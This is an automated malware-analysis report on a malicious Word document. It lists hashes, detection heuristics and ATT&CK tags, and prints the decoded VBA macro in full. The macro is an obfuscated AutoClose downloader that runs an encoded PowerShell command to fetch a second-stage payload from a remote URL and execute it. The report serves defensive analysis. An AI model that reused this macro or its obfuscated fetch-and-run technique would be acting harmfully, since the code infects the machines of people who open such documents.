Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a1b68bd41a5e44d…

MALICIOUS

Office (OLE)

91.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 4043187b80b2b577ce78fa7c61781c94 SHA-1: 043e96507f060384028a5c885ae7a779c11362d6 SHA-256: 8a1b68bd41a5e44d48e90cb6bd4024c5054d16c55010772a0f7ea730da20c5d3
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoClose subroutine that is triggered upon document closure. This subroutine constructs and executes a command line using cmd.exe, which in turn appears to invoke PowerShell to download and execute a second-stage payload. The obfuscated command line suggests an attempt to evade detection.

Heuristics 9

  • ClamAV: Doc.Malware.00536d-6723914-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6723914-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Call IsError(VBA.Interaction.Shell(Trim(Join(Array(FOMOvYMuHoZocuBagicybUcuJyWOVYkAGO, aegTitIKiQyXyxoZeVOSEHoVOhysagiJaw, mYaECOpItTRdOCumIwgeWxiZUju, GEtOIMicoMreloQoMuFagY), "")), (25 - (100 / (2 * 2)))))
Dim awEWAiADUjepOnUzUBoJugBODOhYaKUHuF
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    FOMOvYMuHoZocuBagicybUcuJyWOVYkAGO = "cmd.exe /c P^" + Format(ChrW((35 * 2) + (10 - 1))) + "^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g …
Dim sobykuVAlEvAXAHEsEbKUboheZYsIboHOJuw
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const xahITUfPygLYPeiIvEBubiKveFobOlOhORIky = 0
Sub AutoClose()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10807 bytes
SHA-256: 85afb8915ba4bf66f65c684359062654fca5a46a14278fb4a25acf5998229e50
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const xahITUfPygLYPeiIvEBubiKveFobOlOhORIky = 0
Sub AutoClose()
On Error Resume Next
Dim gNaWYQaWecIKIfSehriaEvaLEzIWtOdEBDE

gNaWYQaWecIKIfSehriaEvaLEzIWtOdEBDE = IsError(Choose(8, "ZUZikowImoTILEze", "ZUZikowImoTILEze", "gNaWYQaWecIKIfSehriaEvaLEzIWtOdEBDE"))
IsError CVErr(543)

If IsNull(gNaWYQaWecIKIfSehriaEvaLEzIWtOdEBDE_ZUZikowImoTILEze) And IsError(CVErr(8)) Then
   ZUZikowImoTILEze_gNaWYQaWecIKIfSehriaEvaLEzIWtOdEBDE = CStr("-543") + UCase("ZUZikowImoTILEze")
End If


Dim vYZatIqiEBtELACUgoqEREtYxisapusUXanYq

vYZatIqiEBtELACUgoqEREtYxisapusUXanYq = IsError(Choose(5, "QElfiteVOXArE", "QElfiteVOXArE", "vYZatIqiEBtELACUgoqEREtYxisapusUXanYq"))
IsError CVErr(9777)

If IsNull(vYZatIqiEBtELACUgoqEREtYxisapusUXanYq_QElfiteVOXArE) And IsError(CVErr(5)) Then
   QElfiteVOXArE_vYZatIqiEBtELACUgoqEREtYxisapusUXanYq = CStr("-9777") + UCase("QElfiteVOXArE")
End If


FOMOvYMuHoZocuBagicybUcuJyWOVYkAGO = "cmd.exe /c P^" + Format(ChrW((35 * 2) + (10 - 1))) + "^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^c^A^A^6^A^C^8^A^L^w^B^k^A^G^U^A^c^g^B^3^A^G^E^A^Z^w^B^p^A^G^U^A^d^A^B^l^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"
Dim sobykuVAlEvAXAHEsEbKUboheZYsIboHOJuw

sobykuVAlEvAXAHEsEbKUboheZYsIboHOJuw = IsError(Choose(5, "qIcAJUSocIjiwEnOSaV", "qIcAJUSocIjiwEnOSaV", "sobykuVAlEvAXAHEsEbKUboheZYsIboHOJuw"))
IsError CVErr(6303)

If IsNull(sobykuVAlEvAXAHEsEbKUboheZYsIboHOJuw_qIcAJUSocIjiwEnOSaV) And IsError(CVErr(5)) Then
   qIcAJUSocIjiwEnOSaV_sobykuVAlEvAXAHEsEbKUboheZYsIboHOJuw = CStr("-6303") + UCase("qIcAJUSocIjiwEnOSaV")
End If



aegTitIKiQyXyxoZeVOSEHoVOhysagiJaw = "^A^P^w^B^s^A^D^0^A^Z^w^B^v^A^G^s^A^c^w^A^1^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^G^Y^A^M^Q^B^j^A^D^k^A^M^g^A^5^A^G^I^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^A^u^A^G^U^A^e^A^B^l^A^C^c^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^c^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^c^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^c^A^X^A^B^m^A^D^E^A^Y^w^A^5^A^D^I^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^Q^B^i^A^D^g^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim vedEXoniiOxYcyvaieVoHOdeFeCyRasOzEREc

vedEXoniiOxYcyvaieVoHOdeFeCyRasOzEREc = IsError(Choose(4, "PYPAQoSItX", "PYPAQoSItX", "vedEXoniiOxYcyvaieVoHOdeFeCyRasOzEREc"))
IsError CVErr(5726)

If IsNull(vedEXoniiOxYcyvaieVoHOdeFeCyRasOzEREc_PYPAQoSItX) And IsError(CVErr(4)) Then
   PYPAQoSItX_vedEXoniiOxYcyvaieVoHOdeFeCyRasOzEREc = CStr("-5726") + UCase("PYPAQoSItX")
End If



Dim myvyQImojIaINYMoPucazijiXEhYXYDEwuxeNY

myvyQImojIaINYMoPucazijiXEhYXYDEwuxeNY = IsError(Choose(9, "jUsUwyHiCUhoMEKIgIx", "jUsUwyHiCUhoMEKIgIx", "myvyQImojIaINYMoPucazijiXEhYXYDEwuxeNY"))
IsError CVErr(1980)

If IsNull(myvyQImojIaINYMoPucazijiXEhYXYDEwuxeNY_jUsUwyHiCUhoMEKIgIx) And IsError(CVErr(9)) Then
   jUsUwyHiCUhoMEKIgIx_myvyQImojIaINYMoPucazijiXEhYXYDEwuxeNY = CStr("-1980") + UCase("jUsUwyHiCUhoMEKIgIx")
End If


Dim wyMyqywAvoLovakUsikOLahaCYS

wyMyqywAvoLovakUsikOLahaCYS = IsError(Choose(5, "JkIvuHETEWyabagOXyz", "JkIvuHETEWyabagOXyz", "wyMyqywAvoLovakUsikOLahaCYS"))
IsError CVErr(398)

If IsNull(wyMyqywAvoLovakUsikOLahaCYS_JkIvuHETEWyabagOXyz) And IsError(CVErr(5)) Then
   JkIvuHETEWyabagOXyz_wyMyqywAvoLovakUsikOLahaCYS = CStr("-398") + UCase("JkIvuHETEWyabagOXyz")
End If



Dim BIROOqOlOGAGZOobeLoveMOnedEKO

BIROOqOlOGAGZOobeLoveMOnedEKO = IsError(Choose(9, "bEqEVeRiUmxYMela", "bEqEVeRiUmxYMela", "BIROOqOlOGAGZOobeLoveMOnedEKO"))
IsError CVErr(6385)

If IsNull(BIROOqOlOGAGZOobeLoveMOnedEKO_bEqEVeRiUmxYMela) And IsError(CVErr(9)) Then
   bEqEVeRiUmxYMela_BIROOqOlOGAGZOobeLoveMOnedEKO = CStr("-6385") + UCase("bEqEVeRiUmxYMela")
End If


mYaECOpItTRdOCumIwgeWxiZUju = "^k^A^R^Q^B^Y^A^C^g^A^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^U^w^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^a^Q^B^u^A^G^c^A^K^A^A^i^A^G^g^A^d^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^g^A^v^A^C^8^A^N^Q^A^0^A^C^4^A^M^w^A^5^A^C^4^A^N^w^A^0^A^C^4^A^M^Q^A^y^A^D^Q^A^L^w^B^s^A^G^U^A^d^g^B^v^A^G^4^A^Z^A^A^u^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^a^A^B^w^A^C^I^A^K^Q^A^p^A^D^s^A^I^A^B^F^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^a^Q^B^0^A"

Dim lyzeFiDIzZiaazleFpdukOiNYL

lyzeFiDIzZiaazleFpdukOiNYL = IsError(Choose(7, "NilUWeKvivOjOCYHOcAL", "NilUWeKvivOjOCYHOcAL", "lyzeFiDIzZiaazleFpdukOiNYL"))
IsError CVErr(5130)

If IsNull(lyzeFiDIzZiaazleFpdukOiNYL_NilUWeKvivOjOCYHOcAL) And IsError(CVErr(7)) Then
   NilUWeKvivOjOCYHOcAL_lyzeFiDIzZiaazleFpdukOiNYL = CStr("-5130") + UCase("NilUWeKvivOjOCYHOcAL")
End If



Dim rAHZaCEkizusiRosYToNOJokUheVemEquWONYae

rAHZaCEkizusiRosYToNOJokUheVemEquWONYae = IsError(Choose(6, "SEaAVEfEzoLO", "SEaAVEfEzoLO", "rAHZaCEkizusiRosYToNOJokUheVemEquWONYae"))
IsError CVErr(3490)

If IsNull(rAHZaCEkizusiRosYToNOJokUheVemEquWONYae_SEaAVEfEzoLO) And IsError(CVErr(6)) Then
   SEaAVEfEzoLO_rAHZaCEkizusiRosYToNOJokUheVemEquWONYae = CStr("-3490") + UCase("SEaAVEfEzoLO")
End If


GEtOIMicoMreloQoMuFagY = "^A^=^="
Dim CIiiTIVIWOtUFifiFilAjiFISULapebUVoQa

CIiiTIVIWOtUFifiFilAjiFISULapebUVoQa = IsError(Choose(10, "KEfEheFaVOveXeRa", "KEfEheFaVOveXeRa", "CIiiTIVIWOtUFifiFilAjiFISULapebUVoQa"))
IsError CVErr(2416)

If IsNull(CIiiTIVIWOtUFifiFilAjiFISULapebUVoQa_KEfEheFaVOveXeRa) And IsError(CVErr(10)) Then
   KEfEheFaVOveXeRa_CIiiTIVIWOtUFifiFilAjiFISULapebUVoQa = CStr("-2416") + UCase("KEfEheFaVOveXeRa")
End If


Dim rYMovEZIQIVifUSiNRgYKiMyKiz

rYMovEZIQIVifUSiNRgYKiMyKiz = IsError(Choose(10, "nYaiccASyRaREfAbiaiV", "nYaiccASyRaREfAbiaiV", "rYMovEZIQIVifUSiNRgYKiMyKiz"))
IsError CVErr(5793)

If IsNull(rYMovEZIQIVifUSiNRgYKiMyKiz_nYaiccASyRaREfAbiaiV) And IsError(CVErr(10)) Then
   nYaiccASyRaREfAbiaiV_rYMovEZIQIVifUSiNRgYKiMyKiz = CStr("-5793") + UCase("nYaiccASyRaREfAbiaiV")
End If



Dim GewELEgeLIzASiKEXPomyDOtEDUQovE

GewELEgeLIzASiKEXPomyDOtEDUQovE = IsError(Choose(1, "QULiaBekFyvOZICoHupiO", "QULiaBekFyvOZICoHupiO", "GewELEgeLIzASiKEXPomyDOtEDUQovE"))
IsError CVErr(1677)

If IsNull(GewELEgeLIzASiKEXPomyDOtEDUQovE_QULiaBekFyvOZICoHupiO) And IsError(CVErr(1)) Then
   QULiaBekFyvOZICoHupiO_GewELEgeLIzASiKEXPomyDOtEDUQovE = CStr("-1677") + UCase("QULiaBekFyvOZICoHupiO")
End If



Dim woVUWAkifIjuFuTewuTuMoJeWyqUiaaIEm

woVUWAkifIjuFuTewuTuMoJeWyqUiaaIEm = IsError(Choose(8, "RixEnawaTeX", "RixEnawaTeX", "woVUWAkifIjuFuTewuTuMoJeWyqUiaaIEm"))
IsError CVErr(1065)

If IsNull(woVUWAkifIjuFuTewuTuMoJeWyqUiaaIEm_RixEnawaTeX) And IsError(CVErr(8)) Then
   RixEnawaTeX_woVUWAkifIjuFuTewuTuMoJeWyqUiaaIEm = CStr("-1065") + UCase("RixEnawaTeX")
End If


Call WIiipUFYaoUDUGEbiqbilEnOWUtoKEjoqaBUIQY(FOMOvYMuHoZocuBagicybUcuJyWOVYkAGO & "", aegTitIKiQyXyxoZeVOSEHoVOhysagiJaw + CStr(""), mYaECOpItTRdOCumIwgeWxiZUju, "4756874682", GEtOIMicoMreloQoMuFagY)

Dim popYzuQOJiFAzoiekeBUhSdOialoRUCOxg

popYzuQOJiFAzoiekeBUhSdOialoRUCOxg = IsError(Choose(8, "MuQyQUkUveFywUTygowAtE", "MuQyQUkUveFywUTygowAtE", "popYzuQOJiFAzoiekeBUhSdOialoRUCOxg"))
IsError CVErr(640)

If IsNull(popYzuQOJiFAzoiekeBUhSdOialoRUCOxg_MuQyQUkUveFywUTygowAtE) And IsError(CVErr(8)) Then
   MuQyQUkUveFywUTygowAtE_popYzuQOJiFAzoiekeBUhSdOialoRUCOxg = CStr("-640") + UCase("MuQyQUkUveFywUTygowAtE")
End If


Dim zkhutIhEpErYWatIHOTzuTORyrixoN

zkhutIhEpErYWatIHOTzuTORyrixoN = IsError(Choose(4, "LoXYZOgaPyCEwsORoMubady", "LoXYZOgaPyCEwsORoMubady", "zkhutIhEpErYWatIHOTzuTORyrixoN"))
IsError CVErr(944)

If IsNull(zkhutIhEpErYWatIHOTzuTORyrixoN_LoXYZOgaPyCEwsORoMubady) And IsError(CVErr(4)) Then
   LoXYZOgaPyCEwsORoMubady_zkhutIhEpErYWatIHOTzuTORyrixoN = CStr("-944") + UCase("LoXYZOgaPyCEwsORoMubady")
End If


End Sub
Sub WIiipUFYaoUDUGEbiqbilEnOWUtoKEjoqaBUIQY(FOMOvYMuHoZocuBagicybUcuJyWOVYkAGO, aegTitIKiQyXyxoZeVOSEHoVOhysagiJaw, mYaECOpItTRdOCumIwgeWxiZUju, WYjYRIgUCExOoXCiXIcESxarUgOXInoK, GEtOIMicoMreloQoMuFagY)
On Error Resume Next

  
Dim byzacUkElYZAiCoFAZyjAdeFasEMUieTeDBe

byzacUkElYZAiCoFAZyjAdeFasEMUieTeDBe = IsError(Choose(10, "RenABEJekYqiaonySySiiV", "RenABEJekYqiaonySySiiV", "byzacUkElYZAiCoFAZyjAdeFasEMUieTeDBe"))
IsError CVErr(2437)

If IsNull(byzacUkElYZAiCoFAZyjAdeFasEMUieTeDBe_RenABEJekYqiaonySySiiV) And IsError(CVErr(10)) Then
   RenABEJekYqiaonySySiiV_byzacUkElYZAiCoFAZyjAdeFasEMUieTeDBe = CStr("-2437") + UCase("RenABEJekYqiaonySySiiV")
End If


Dim BYroVYJtyaivipALuKpaluGuiytulAJOVXoRu

BYroVYJtyaivipALuKpaluGuiytulAJOVXoRu = IsError(Choose(4, "KuCivAkIgaFyxIquBiP", "KuCivAkIgaFyxIquBiP", "BYroVYJtyaivipALuKpaluGuiytulAJOVXoRu"))
IsError CVErr(5018)

If IsNull(BYroVYJtyaivipALuKpaluGuiytulAJOVXoRu_KuCivAkIgaFyxIquBiP) And IsError(CVErr(4)) Then
   KuCivAkIgaFyxIquBiP_BYroVYJtyaivipALuKpaluGuiytulAJOVXoRu = CStr("-5018") + UCase("KuCivAkIgaFyxIquBiP")
End If


  Call IsError(VBA.Interaction.Shell(Trim(Join(Array(FOMOvYMuHoZocuBagicybUcuJyWOVYkAGO, aegTitIKiQyXyxoZeVOSEHoVOhysagiJaw, mYaECOpItTRdOCumIwgeWxiZUju, GEtOIMicoMreloQoMuFagY), "")), (25 - (100 / (2 * 2)))))
Dim awEWAiADUjepOnUzUBoJugBODOhYaKUHuF

awEWAiADUjepOnUzUBoJugBODOhYaKUHuF = IsError(Choose(2, "RoXixyxEtUhYae", "RoXixyxEtUhYae", "awEWAiADUjepOnUzUBoJugBODOhYaKUHuF"))
IsError CVErr(9915)

If IsNull(awEWAiADUjepOnUzUBoJugBODOhYaKUHuF_RoXixyxEtUhYae) And IsError(CVErr(2)) Then
   RoXixyxEtUhYae_awEWAiADUjepOnUzUBoJugBODOhYaKUHuF = CStr("-9915") + UCase("RoXixyxEtUhYae")
End If





End Sub

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